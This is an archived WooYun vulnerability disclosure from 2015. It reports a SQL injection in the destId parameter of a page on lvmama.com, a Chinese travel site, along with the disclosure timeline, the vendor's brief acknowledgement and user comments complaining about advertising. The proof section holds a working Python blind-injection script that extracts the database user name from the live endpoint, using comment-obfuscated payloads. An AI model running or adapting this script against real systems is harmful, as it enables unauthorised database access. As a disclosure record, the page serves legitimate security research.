当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158996

漏洞标题:驴妈妈旅游网某处SQL注入漏洞(附绕过脚本)

相关厂商:驴妈妈旅游网

漏洞作者: 紫霞仙子

提交时间:2015-12-07 13:01

修复时间:2016-01-21 14:10

公开时间:2016-01-21 14:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-07: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经确认,细节仅向厂商公开
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

http://www.tangscan.com/plugin/15975
要是我能有这一款工具是不是就要吊炸天了!!!
跪求唐朝 私人订制!!!
--------------------------------
#唐朝第一次#唐朝安全巡航发布会来袭!!!
12月16号,798秀剧场,不见不散!
活动报名页面:http://www.huodongxing.com/event/9311150532600
-----------------------------------

详细说明:

http://dujia.lvmama.com:80/trip/destPaginationOfTrip?currentPage=1&destId=3727,3729,3543&elite=1&categoryCode=category_route_group


20151207122211.jpg


20151207122241.png

漏洞证明:

import httplib
import urllib
import urllib2
payloads = list('abcdefghijklmnopqrstuvwxyz.1234567890_')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,15):
for payload in payloads:
try:
conn = httplib.HTTPConnection('dujia.lvmama.com:80', timeout=5)
s = "/trip/destPaginationOfTrip?currentPage=1&destId=3727,3729,3543)/**/AND/**/if(ascii(mid(user(),%d,1))=%s,1,2)=1/**/AND/**/(7=7&elite=1&categoryCode=category_route_group" % (i, ord(payload))
conn.request(method='GET',url=s)
data3 = conn.getresponse().read()
except:
continue

if len(data3) > 200:
user += str(payload)
print '\n[in progress]', user
break
else:
print ".",
print '\nMySQL user is', user


20151207122506.jpg

修复方案:

求送一个。。。。。。。。。
看错吉祥物了。。。。。。。

版权声明:转载请注明来源 紫霞仙子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-07 14:07

厂商回复:

thx

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-07 13:13 | getshell1993 认证白帽子 ( 核心白帽子 | Rank:819 漏洞数:90 | ~!@#¥%……&*)

    又打广告。。。。

  2. 2015-12-07 13:16 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2223 漏洞数:301 | 天天向上 !!!)

    @驴妈妈旅游网 求送2只小驴子。就是笑傲江湖上面的那个吉祥物。

  3. 2015-12-07 13:39 | 大师兄 ( 路人 | Rank:29 漏洞数:7 | 每日必关注乌云)

    @紫霞仙子 预定购买

  4. 2015-12-07 15:44 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)

    广告狗,滚出

  5. 2015-12-07 15:47 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    居然是广告。